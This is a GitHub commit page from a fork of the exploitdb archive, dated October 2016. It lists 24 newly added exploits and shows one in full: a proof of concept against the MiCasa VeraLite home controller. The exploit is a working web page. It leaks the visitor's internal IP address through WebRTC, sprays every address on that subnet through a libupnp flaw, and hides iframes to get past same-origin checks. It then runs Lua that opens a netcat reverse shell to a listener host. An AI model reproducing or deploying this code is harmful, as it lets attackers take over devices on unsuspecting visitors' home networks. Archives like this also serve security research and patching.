forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
24 new exploits NetAuctionHelp 4.1 - search.asp SQL Injection Apple Mac OSX 10.4.11 2007-008 - i386_set_ldt System Call Local Arbitrary Code Execution Microsoft Edge - Array.map Heap Overflow (MS16-119) Microsoft Jet Database Engine - '.MDB' File Parsing Remote Buffer Overflow Microsoft Edge - Array.join Info Leak (MS16-119) Windows DeviceApi CMApi PiCMOpenDeviceKey - Arbitrary Registry Key Write Privilege Escalation (MS16-124) Windows DeviceApi CMApi - PiCMOpenDeviceKey Arbitrary Registry Key Write Privilege Escalation (MS16-124) HikVision Security Systems - Activex Buffer Overflow Oracle Netbeans IDE 8.1 - Directory Traversal MiCasa VeraLite - Remote Code Execution Oracle BI Publisher 11.1.1.6.0 / 11.1.1.7.0 / 11.1.1.9.0 / 12.2.1.0.0 - XML External Entity Injection Classifieds Rental Script - SQL Injection SAP NetWeaver KERNEL 7.0 < 7.5 - Denial of Service SAP Adaptive Server Enterprise 16 - Denial of Service Event Calendar PHP 1.5 - SQL Injection SPIP 3.1.2 Template Compiler/Composer - PHP Code Execution SPIP 3.1.1 / 3.1.2 - File Enumeration / Path Traversal SPIP 3.1.2 - Cross-Site Request Forgery Windows win32k.sys - TTF Processing RCVT TrueType Instruction Handler Out-of-Bounds Read (MS16-120) Windows win32k.sys - TTF Processing win32k!sbit_Embolden / win32k!ttfdCloseFontContext Use-After-Free (MS16-120) Windows Kernel - Registry Hive Loading Negative RtlMoveMemory Size in nt!CmpCheckValueList (MS16-124) Windows Kernel - Registry Hive Loading Relative Arbitrary Read in nt!RtlValidRelativeSecurityDescriptor (MS16-123) Microsoft Edge - Function.apply Info Leak (MS16-119) Microsoft Edge - Spread Operator Stack Overflow (MS16-119) Windows Edge/IE - Isolated Private Namespace Insecure DACL Privilege Escalation (MS16-118) Windows Edge/IE - Isolated Private Namespace Insecure Boundary Descriptor Privilege Escalation (MS16-118) Windows - NtLoadKeyEx Read Only Hive Arbitrary File Write Privilege Escalation (MS16-124) Hak5 WiFi Pineapple - Preconfiguration Command Injection (Metasploit) OpenNMS - Java Object Unserialization Remote Code Execution (Metasploit)
- Loading branch information
Offensive Security
committed
Oct 21, 2016
1 parent
77b46b2
commit 07fdc77
Showing
28 changed files
with
3,550 additions
and
78 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,156 @@ | ||
| # Exploit Title: MiCasa VeraLite Remote Code Execution | ||
| # Date: 10-20-2016 | ||
| # Software Link: http://getvera.com/controllers/veralite/ | ||
| # Exploit Author: Jacob Baines | ||
| # Contact: https://twitter.com/Junior_Baines | ||
| # CVE: CVE-2013-4863 & CVE-2016-6255 | ||
| # Platform: Hardware | ||
|
|
||
| 1. Description | ||
|
|
||
| A remote attacker can execute code on the MiCasa VeraLite if someone on the same LAN as the VeraLite visits a crafted webpage. | ||
|
|
||
| 2. Proof of Concept | ||
|
|
||
| <!-- | ||
| @about | ||
| This file, when loaded in a browser, will attempt to get a reverse shell | ||
| on a VeraLite device on the client's network. This is achieved with the | ||
| following steps: | ||
| 1. Acquire the client's internal IP address using webrtc. We then assume the | ||
| client is operating on a \24 network. | ||
| 2. POST :49451/z3n.html to every address on the subnet. This leverages two | ||
| things we know to be true about VeraLite: | ||
| - there should be a UPnP HTTP server on 49451 | ||
| - VeraLite uses a libupnp vulnerable to CVE-2016-6255. | ||
| 3. Attempt to load :49451/z3n.html in an iframe. This will exist if step 2 | ||
| successfully created the file via CVE-2016-6255 | ||
| 4. z3n.html will allow us to bypass same origin policy and it will make a | ||
| POST request that executes RunLau. This also leverages information we | ||
| know to be true about Veralite: | ||
| - the control URL for HomeAutomationGateway is /upnp/control/hag | ||
| - no auth required | ||
| 5. Our RunLua code executes a reverse shell to 192.168.217:1270. | ||
| @note | ||
| This code doesn't run fast in Firefox. This appears to largely be a performance | ||
| issue associated with attaching a lot of iframes to a page. Give the shell | ||
| popping a couple of minutes. In Chrome, it runs pretty fast but might | ||
| exhaust socket usage. | ||
| @citations | ||
| - WebRTC IP leak: https://github.com/diafygi/webrtc-ips | ||
| - Orignal RunLua Disclosure: https://media.blackhat.com/us-13/US-13-Crowley-Home-Invasion-2-0-WP.pdf | ||
| - CVE-2016-6255: http://seclists.org/oss-sec/2016/q3/102 | ||
| --> | ||
| <!DOCTYPE html> | ||
| <html> | ||
| <head> | ||
| <meta charset="UTF-8"> | ||
| <script> | ||
| /** | ||
| * POSTS a page to ip:49451/z3n.html. If the target is a vulnerable | ||
| * libupnp then the page will be written. Once the request has | ||
| * completed, we attempt to load it in an iframe in order to bypass | ||
| * same origin policy. If the page is loaded into the iframe then | ||
| * it will make a soap action request with the action RunLua. The | ||
| * Lua code will execute a reverse shell. | ||
| * @param ip the ip address to request to | ||
| * @param frame_id the id of the iframe to create | ||
| */ | ||
| function create_page(ip, frame_id) | ||
| { | ||
| payload = "<!DOCTYPE html>\n" + | ||
| "<html>\n" + | ||
| "<head>\n" + | ||
| "<title>Try To See It Once My Way</title>\n" + | ||
| "<script>\n" + | ||
| "function exec_lua() {\n" + | ||
| "soap_request = \"<s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\";\n" + | ||
| "soap_request += \"<s:Body>\";\n" + | ||
| "soap_request += \"<u:RunLua xmlns:u=\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1\\\">\";\n" + | ||
| "soap_request += \"<Code>os.execute("/bin/sh -c '(mkfifo /tmp/a; cat /tmp/a | /bin/sh -i 2>&1 | nc 192.168.1.217 1270 > /tmp/a)&'")</Code>\";\n" + | ||
| "soap_request += \"</u:RunLua>\";\n" + | ||
| "soap_request += \"</s:Body>\";\n" + | ||
| "soap_request += \"</s:Envelope>\";\n" + | ||
|
|
||
| "xhttp = new XMLHttpRequest();\n" + | ||
| "xhttp.open(\"POST\", \"upnp/control/hag\", true);\n" + | ||
| "xhttp.setRequestHeader(\"MIME-Version\", \"1.0\");\n" + | ||
| "xhttp.setRequestHeader(\"Content-type\", \"text/xml;charset=\\\"utf-8\\\"\");\n" + | ||
| "xhttp.setRequestHeader(\"Soapaction\", \"\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua\\\"\");\n" + | ||
| "xhttp.send(soap_request);\n" + | ||
| "}\n" + | ||
| "</scr\ipt>\n" + | ||
| "</head>\n" + | ||
| "<body onload=\"exec_lua()\">\n" + | ||
| "Zen?\n" + | ||
| "</body>\n" + | ||
| "</html>"; | ||
|
|
||
| var xhttp = new XMLHttpRequest(); | ||
| xhttp.open("POST", "http://" + ip + ":49451/z3n.html", true); | ||
| xhttp.timeout = 1000; | ||
| xhttp.onreadystatechange = function() | ||
| { | ||
| if (xhttp.readyState == XMLHttpRequest.DONE) | ||
| { | ||
| new_iframe = document.createElement('iframe'); | ||
| new_iframe.setAttribute("src", "http://" + ip + ":49451/z3n.html"); | ||
| new_iframe.setAttribute("id", frame_id); | ||
| new_iframe.setAttribute("style", "width:0; height:0; border:0; border:none"); | ||
| document.body.appendChild(new_iframe); | ||
| } | ||
| }; | ||
| xhttp.send(payload); | ||
| } | ||
|
|
||
| /** | ||
| * This function abuses the webrtc internal IP leak. This function | ||
| * will find the the upper three bytes of network address and simply | ||
| * assume that the client is on a \24 network. | ||
| * | ||
| * Once we have an ip range, we will attempt to create a page on a | ||
| * vulnerable libupnp server via create_page(). | ||
| */ | ||
| function spray_and_pray() | ||
| { | ||
| RTCPeerConnection = window.RTCPeerConnection || | ||
| window.mozRTCPeerConnection || | ||
| window.webkitRTCPeerConnection; | ||
|
|
||
| peerConn = new RTCPeerConnection({iceServers:[]}); | ||
| noop = function() { }; | ||
|
|
||
| peerConn.createDataChannel(""); | ||
| peerConn.createOffer(peerConn.setLocalDescription.bind(peerConn), noop); | ||
| peerConn.onicecandidate = function(ice) | ||
| { | ||
| if (!ice || !ice.candidate || !ice.candidate.candidate) | ||
| { | ||
| return; | ||
| } | ||
|
|
||
| clientNetwork = /([0-9]{1,3}(\.[0-9]{1,3}){2})/.exec(ice.candidate.candidate)[1]; | ||
| peerConn.onicecandidate = noop; | ||
|
|
||
| if (clientNetwork && clientNetwork.length > 0) | ||
| { | ||
| for (i = 0; i < 255; i++) | ||
| { | ||
| create_page(clientNetwork + '.' + i, "page"+i); | ||
| } | ||
| } | ||
| }; | ||
| } | ||
| </script> | ||
| </head> | ||
| <body onload="spray_and_pray()"> | ||
| Everything zen. | ||
| </body> | ||
| </html> | ||
|
|
||
| 3. Solution: | ||
|
|
||
| No solution exists |
Oops, something went wrong.